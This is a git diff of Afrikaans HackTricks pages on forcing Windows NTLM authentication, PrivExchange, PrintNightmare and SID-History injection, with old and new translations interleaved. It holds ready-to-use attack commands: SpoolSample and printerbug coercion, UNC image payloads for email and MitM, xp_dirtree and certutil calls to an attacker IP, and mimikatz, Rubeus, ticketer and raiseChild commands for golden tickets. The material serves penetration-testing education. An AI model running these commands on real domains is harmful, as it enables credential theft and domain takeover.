### Vra die diens om teen 'n willekeurige gasheer te verifieer
|
||||
### Vra die diens om teen 'n arbitrêre gasheer te verifieer
|
||||
|
||||
Jy kan [**SpoolSample hier vandaan**](https://github.com/NotMedic/NetNTLMtoSilverTicket) kompileer.
|
||||
Jy kan[ **SpoolSample hier van**](https://github.com/NotMedic/NetNTLMtoSilverTicket)** saamstel.**
|
||||
```bash
|
||||
SpoolSample.exe <TARGET> <RESPONDERIP>
|
||||
```
|
||||
|
@ -51,29 +54,27 @@ printerbug.py 'domain/username:password'@<Printer IP> <RESPONDERIP>
|
|||
```
|
||||
### Kombinasie met Onbeperkte Delegasie
|
||||
|
||||
As 'n aanvaller reeds 'n rekenaar met [Onbeperkte Delegasie](unconstrained-delegation.md) gekompromitteer het, kan die aanvaller die drukker laat outentiseer teen hierdie rekenaar. As gevolg van die onbeperkte delegasie sal die **TGT** van die **rekenaarrekening van die drukker** in die **geheue** van die rekenaar met onbeperkte delegasie **gestoor word**. Aangesien die aanvaller reeds hierdie gasheer gekompromitteer het, sal hy in staat wees om hierdie kaartjie te **herwin** en dit te misbruik ([Pass the Ticket](pass-the-ticket.md)).
|
||||
As 'n aanvaller reeds 'n rekenaar met [Onbeperkte Delegasie](unconstrained-delegation.md) gecompromitteer het, kan die aanvaller **die printer laat outentiseer teen hierdie rekenaar**. As gevolg van die onbeperkte delegasie, sal die **TGT** van die **rekenaarrekening van die printer** **in** die **geheue** van die rekenaar met onbeperkte delegasie **gestoor word**. Aangesien die aanvaller hierdie gasheer reeds gecompromitteer het, sal hy in staat wees om **hierdie kaartjie te onttrek** en dit te misbruik ([Pass the Ticket](pass-the-ticket.md)).
|
||||
|
||||
## RCP Kragtige outentisering
|
||||
## RCP Force outentisering
|
||||
|
||||
{% embed url="https://github.com/p0dalirius/Coercer" %}
|
||||
|
||||
## PrivExchange
|
||||
|
||||
Die `PrivExchange`-aanval is die gevolg van 'n fout wat gevind is in die **Exchange-bediener se `PushSubscription`-funksie**. Hierdie funksie maak dit moontlik dat die Exchange-bediener deur enige domein-gebruiker met 'n posbus gedwing kan word om te outentiseer na enige kliëntverskafte gasheer oor HTTP.
|
||||
Die `PrivExchange` aanval is 'n gevolg van 'n fout wat in die **Exchange Server `PushSubscription` kenmerk** gevind is. Hierdie kenmerk laat die Exchange-server toe om deur enige domein gebruiker met 'n posbus gedwing te word om aan enige kliënt-gelewer gasheer oor HTTP te outentiseer.
|
||||
|
||||
Standaard loop die **Exchange-diens as SYSTEM** en word oormatige bevoegdhede gegee (spesifiek, dit het **WriteDacl-bevoegdhede op die domein voor 2019 Kumulatiewe Opdatering**). Hierdie fout kan uitgebuit word om die **oorplasing van inligting na LDAP moontlik te maak en gevolglik die domein NTDS-databasis te onttrek**. In gevalle waar oorplasing na LDAP nie moontlik is nie, kan hierdie fout steeds gebruik word om na ander gasheer binne die domein te oorplas en outentiseer. Die suksesvolle uitbuiting van hierdie aanval verleen onmiddellike toegang tot die Domeinadministrateur met enige geoutentiseerde domein-gebruikersrekening.
|
||||
Standaard loop die **Exchange diens as SYSTEM** en word dit oorgenoeg bevoegdhede gegee (specifiek, dit het **WriteDacl bevoegdhede op die domein voor-2019 Kumulatiewe Opdatering**). Hierdie fout kan misbruik word om die **oorplasing van inligting na LDAP moontlik te maak en gevolglik die domein NTDS databasis te onttrek**. In gevalle waar oorplasing na LDAP nie moontlik is nie, kan hierdie fout steeds gebruik word om oor te plaas en aan ander gasheer binne die domein te outentiseer. Die suksesvolle misbruik van hierdie aanval bied onmiddellike toegang tot die Domein Admin met enige geoutentiseerde domein gebruiker rekening.
|
||||
|
||||
## Binne Windows
|
||||
|
||||
As jy reeds binne die Windows-rekenaar is, kan jy Windows dwing om met bevoorregte rekeninge na 'n bediener te verbind met:
|
||||
As jy reeds binne die Windows masjien is, kan jy Windows dwing om met 'n bediener te verbind deur gebruik te maak van bevoorregte rekeninge met:
|
||||
|
||||
### Defender MpCmdRun
|
||||
```bash
|
||||
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\<YOUR IP>\file.txt
|
||||
```
|
||||
### MSSQL
|
||||
|
||||
MSSQL is 'n relationele databasisbestuurstelsel wat ontwikkel is deur Microsoft. Dit word algemeen gebruik vir die stoor en bestuur van data in toepassings en webwerwe. MSSQL bied 'n kragtige en veilige omgewing vir die hantering van groot hoeveelhede data. Dit ondersteun ook gevorderde funksies soos transaksies, aanvraagverwerking en databasisbeveiliging.
|
||||
```sql
|
||||
EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1
|
||||
```
|
||||
|
@ -81,39 +82,42 @@ Of gebruik hierdie ander tegniek: [https://github.com/p0dalirius/MSSQL-Analysis-
|
|||
|
||||
### Certutil
|
||||
|
||||
Dit is moontlik om certutil.exe lolbin (Microsoft-ondertekende binêre lêer) te gebruik om NTLM-verifikasie af te dwing:
|
||||
Dit is moontlik om certutil.exe lolbin (Microsoft-onderteken binêre) te gebruik om NTLM-outeentisering te dwing:
|
||||
```bash
|
||||
certutil.exe -syncwithWU \\127.0.0.1\share
|
||||
```
|
||||
## HTML-inspuiting
|
||||
|
||||
### Via e-pos
|
||||
### Deur e-pos
|
||||
|
||||
As jy die **e-posadres** van die gebruiker ken wat in 'n masjien wil inbreek, kan jy hom net 'n **e-pos met 'n 1x1-beeld** stuur, soos
|
||||
As jy die **e-posadres** van die gebruiker wat binne 'n masjien aanmeld wat jy wil kompromitteer, ken, kan jy net vir hom 'n **e-pos met 'n 1x1 beeld** stuur soos
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
en wanneer hy dit oopmaak, sal hy probeer om te verifieer.
|
||||
en wanneer hy dit oopmaak, sal hy probeer om te autentiseer.
|
||||
|
||||
### MitM
|
||||
|
||||
As jy 'n MitM-aanval kan uitvoer op 'n rekenaar en HTML in 'n bladsy kan inspuit wat hy sal sien, kan jy probeer om 'n prent soos die volgende in die bladsy in te spuit:
|
||||
As jy 'n MitM-aanval op 'n rekenaar kan uitvoer en HTML in 'n bladsy kan inspuit wat hy sal visualiseer, kan jy probeer om 'n beeld soos die volgende in die bladsy in te spuit:
|
||||
```html
|
||||
<img src="\\10.10.17.231\test.ico" height="1" width="1" />
|
||||
```
|
||||
## Kraking NTLMv1
|
||||
## Krake NTLMv1
|
||||
|
||||
As jy [NTLMv1 uitdagings kan vasvang, lees hier hoe om dit te kraak](../ntlm/#ntlmv1-attack).\
|
||||
_Onthou dat jy Responder-uitdaging moet instel op "1122334455667788" om NTLMv1 te kraak._
|
||||
As jy [NTLMv1 uitdagings kan vang, lees hier hoe om hulle te krake](../ntlm/#ntlmv1-attack).\
|
||||
_Onthou dat jy Responder-uitdaging moet stel op "1122334455667788" om NTLMv1 te krake._
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,34 @@
|
|||
# PrintNightmare
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
**Kyk na hierdie fantastiese blogpos oor PrintNightmare in 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kyk na hierdie wonderlike blogpos oor PrintNightmare in 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# SID-History Injeksie
|
||||
# SID-History Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SID Geskiedenis Injeksie Aanval
|
||||
## SID History Injection Aanval
|
||||
|
||||
Die fokus van die **SID Geskiedenis Injeksie Aanval** is om **gebruikerverskuiwing tussen domeine** te ondersteun terwyl voortgesette toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur die **vorige Sekuriteitsidentifiseerder (SID) van die gebruiker in die SID-geskiedenis** van hul nuwe rekening in te sluit. Dit kan egter misbruik word om ongemagtigde toegang te verleen deur die SID van 'n hoë-voorregtegroep (soos Enterprise Admins of Domain Admins) van die ouer domein by die SID-geskiedenis te voeg. Hierdie uitbuiting verleen toegang tot alle hulpbronne binne die ouer domein.
|
||||
Die fokus van die **SID History Injection Aanval** is om **gebruikermigrasie tussen domeine** te ondersteun terwyl toegang tot hulpbronne van die vorige domein verseker word. Dit word bereik deur **die gebruiker se vorige Veiligheidsidentifiseerder (SID) in die SID Geskiedenis** van hul nuwe rekening in te sluit. Dit is belangrik om te noem dat hierdie proses gemanipuleer kan word om ongeoorloofde toegang te verleen deur die SID van 'n hoë-privilege groep (soos Enterprise Admins of Domain Admins) van die ouerdomein by die SID Geskiedenis te voeg. Hierdie uitbuiting bied toegang tot alle hulpbronne binne die ouerdomein.
|
||||
|
||||
Daar bestaan twee metodes om hierdie aanval uit te voer: deur die skepping van 'n **Golden Ticket** of 'n **Diamond Ticket**.
|
||||
Twee metodes bestaan om hierdie aanval uit te voer: deur die skep van 'n **Golden Ticket** of 'n **Diamond Ticket**.
|
||||
|
||||
Om die SID vir die **"Enterprise Admins"**-groep te vind, moet jy eers die SID van die hoofdomein opspoor. Nadat die identifikasie voltooi is, kan die SID van die Enterprise Admins-groep gekonstrueer word deur `-519` aan die SID van die hoofdomein toe te voeg. Byvoorbeeld, as die SID van die hoofdomein `S-1-5-21-280534878-1496970234-700767426` is, sal die resulterende SID vir die "Enterprise Admins" groep `S-1-5-21-280534878-1496970234-700767426-519` wees.
|
||||
Om die SID vir die **"Enterprise Admins"** groep te bepaal, moet 'n mens eers die SID van die worteldomein vind. Na identifikasie kan die Enterprise Admins groep SID saamgestel word deur `-519` aan die worteldomein se SID toe te voeg. Byvoorbeeld, as die worteldomein SID `S-1-5-21-280534878-1496970234-700767426` is, sal die resulterende SID vir die "Enterprise Admins" groep `S-1-5-21-280534878-1496970234-700767426-519` wees.
|
||||
|
||||
Jy kan ook die **Domain Admins**-groepe gebruik, wat eindig in **512**.
|
||||
Jy kan ook die **Domain Admins** groepe gebruik, wat eindig op **512**.
|
||||
|
||||
'n Ander manier om die SID van 'n groep van die ander domein (byvoorbeeld "Domain Admins") te vind, is met:
|
||||
```powershell
|
||||
Get-DomainGroup -Identity "Domain Admins" -Domain parent.io -Properties ObjectSid
|
||||
```
|
||||
### Goue Kaartjie (Mimikatz) met KRBTGT-AES256
|
||||
### Goue Kaart (Mimikatz) met KRBTGT-AES256
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -50,7 +53,7 @@ mimikatz.exe "kerberos::golden /user:Administrator /domain:<current_domain> /sid
|
|||
Vir meer inligting oor goue kaartjies, kyk:
|
||||
|
||||
{% content-ref url="golden-ticket.md" %}
|
||||
[golden-ticket.md](golden-ticket.md)
|
||||
[goue-kaartjie.md](goue-kaartjie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Diamantkaartjie (Rubeus + KRBTGT-AES256)
|
||||
|
@ -67,7 +70,7 @@ Rubeus.exe golden /rc4:<krbtgt hash> /domain:<child_domain> /sid:<child_domain_s
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Vir meer inligting oor diamantkaartjies, kyk:
|
||||
Vir meer inligting oor diamond tickets, kyk:
|
||||
|
||||
{% content-ref url="diamond-ticket.md" %}
|
||||
[diamond-ticket.md](diamond-ticket.md)
|
||||
|
@ -81,7 +84,7 @@ ls \\mcorp-dc.moneycorp.local\c$
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Skalasieer na DA of root of Enterprise-admin deur die KRBTGT-hash van die gekompromitteerde domein te gebruik:
|
||||
Verhoog na DA van wortel of Enterprise admin deur die KRBTGT-hash van die gecompromitteerde domein te gebruik:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -97,15 +100,15 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Met die verkryging van die toestemmings van die aanval kan jy byvoorbeeld 'n DCSync-aanval in die nuwe domein uitvoer:
|
||||
Met die verkregen toestemmings van die aanval kan jy byvoorbeeld 'n DCSync-aanval in die nuwe domein uitvoer:
|
||||
|
||||
{% content-ref url="dcsync.md" %}
|
||||
[dcsync.md](dcsync.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Vanaf Linux
|
||||
### Van linux
|
||||
|
||||
#### Handleiding met [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
|
||||
#### Handmatig met [ticketer.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/ticketer.py)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -129,21 +132,21 @@ psexec.py <child_domain>/Administrator@dc.root.local -k -no-pass -target-ip 10.1
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Outomaties met behulp van [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
|
||||
#### Outomaties met [raiseChild.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/raiseChild.py)
|
||||
|
||||
Dit is 'n Impacket-skripsie wat sal outomatiseer om van kind na ouer domein te eskaleer. Die skripsie benodig:
|
||||
Dit is 'n Impacket-skrip wat **die opgradering van kind na ouer domein outomatiseer**. Die skrip benodig:
|
||||
|
||||
* Teikendomeinbeheerder
|
||||
* Gelde vir 'n administrateurgebruiker in die kinddomein
|
||||
* Kredensies vir 'n admin gebruiker in die kinddomein
|
||||
|
||||
Die stroom is as volg:
|
||||
Die vloei is:
|
||||
|
||||
* Verkry die SID vir die Enterprise Admins-groep van die ouer domein
|
||||
* Haal die has vir die KRBTGT-rekening in die kinddomein op
|
||||
* Verkry die SID vir die Enterprise Admins-groep van die ouerdomein
|
||||
* Herwin die hash vir die KRBTGT-rekening in die kinddomein
|
||||
* Skep 'n Golden Ticket
|
||||
* Teken in by die ouer domein
|
||||
* Haal gelde vir die Administrateur-rekening in die ouer domein op
|
||||
* As die `target-exec`-skakelaar gespesifiseer word, verifieer dit na die ouer domein se domeinbeheerder via Psexec.
|
||||
* Meld aan by die ouerdomein
|
||||
* Herwin kredensies vir die Administrator-rekening in die ouerdomein
|
||||
* As die `target-exec` skakel gespesifiseer is, verifieer dit by die ouerdomein se Domeinbeheerder via Psexec.
|
||||
```bash
|
||||
raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
|
||||
```
|
||||
|
@ -151,14 +154,17 @@ raiseChild.py -target-exec 10.10.10.10 <child_domain>/username
|
|||
* [https://adsecurity.org/?p=1772](https://adsecurity.org/?p=1772)
|
||||
* [https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/](https://www.sentinelone.com/blog/windows-sid-history-injection-exposure-blog/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,73 +1,79 @@
|
|||
# Onbeperkte Delegasie
|
||||
# Unconstrained Delegation
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Onbeperkte delegasie
|
||||
## Unconstrained delegation
|
||||
|
||||
